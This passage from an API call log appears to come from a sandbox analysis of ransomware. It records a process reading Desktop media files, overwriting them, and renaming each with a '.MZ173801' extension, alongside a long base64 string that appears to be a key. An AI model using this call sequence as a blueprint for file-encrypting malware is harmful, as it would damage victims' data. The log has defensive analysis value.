ftLastWriteTime.dwLowDateTime=0x16ae8860, ftLastWriteTime.dwHighDateTime=0x1d5dbb8, nFileSizeHigh=0x0, nFileSizeLow=0xb109)) returned 1 [0144.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MeaOqsa9RRk c.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\meaoqsa9rrk c.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.888] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.888] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.888] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xb109 [0144.888] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.889] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0xb109, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xb109, lpOverlapped=0x0) returned 1 [0144.890] CloseHandle (hObject=0x224) returned 1 [0144.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MeaOqsa9RRk c.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\meaoqsa9rrk c.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.894] WriteFile (in: hFile=0x224, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb109, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f99c*=0xb109, lpOverlapped=0x0) returned 1 [0144.896] CloseHandle (hObject=0x224) returned 1 [0144.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MeaOqsa9RRk c.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\meaoqsa9rrk c.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MeaOqsa9RRk c.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\meaoqsa9rrk c.flv.mz173801")) returned 1 [0144.901] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o u1FrjG_ oR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o u1frjg_ or.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723a3bc0, ftCreationTime.dwHighDateTime=0x1d5d9d8, ftLastAccessTime.dwLowDateTime=0x1ec55e30, ftLastAccessTime.dwHighDateTime=0x1d5e477, ftLastWriteTime.dwLowDateTime=0x1ec55e30, ftLastWriteTime.dwHighDateTime=0x1d5e477, nFileSizeHigh=0x0, nFileSizeLow=0x1567b)) returned 1 [0144.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o u1FrjG_ oR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o u1frjg_ or.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.905] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0144.905] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.905] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1567b [0144.905] SetFilePointer (in: hFile=0x224, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0144.905] ReadFile (in: hFile=0x224, lpBuffer=0x714510, nNumberOfBytesToRead=0x1567b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1567b, lpOverlapped=0x0) returned 1 [0144.907] CloseHandle (hObject=0x224) returned 1 [0144.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o u1FrjG_ oR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o u1frjg_ or.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x224 [0144.911] WriteFile (in: hFile=0x224, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1567b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f99c*=0x1567b, lpOverlapped=0x0) returned 1 [0144.913] CloseHandle (hObject=0x224) returned 1 [0144.914] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o u1FrjG_ oR.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o u1frjg_ or.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\o u1FrjG_ oR.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o u1frjg_ or.swf.mz173801")) returned 1 [0144.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Oy_0SQHFd.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oy_0sqhfd.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d3def0, ftCreationTime.dwHighDateTime=0x1d5e11d, ftLastAccessTime.dwLowDateTime=0x6a24cb60, ftLastAccessTime.dwHighDateTime=0x1d5e105, ftLastWriteTime.dwLowDateTime=0x6a24cb60, ftLastWriteTime.dwHighDateTime=0x1d5e105, nFileSizeHigh=0x0, nFileSizeLow=0x5cc9)) returned 1 [0144.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQ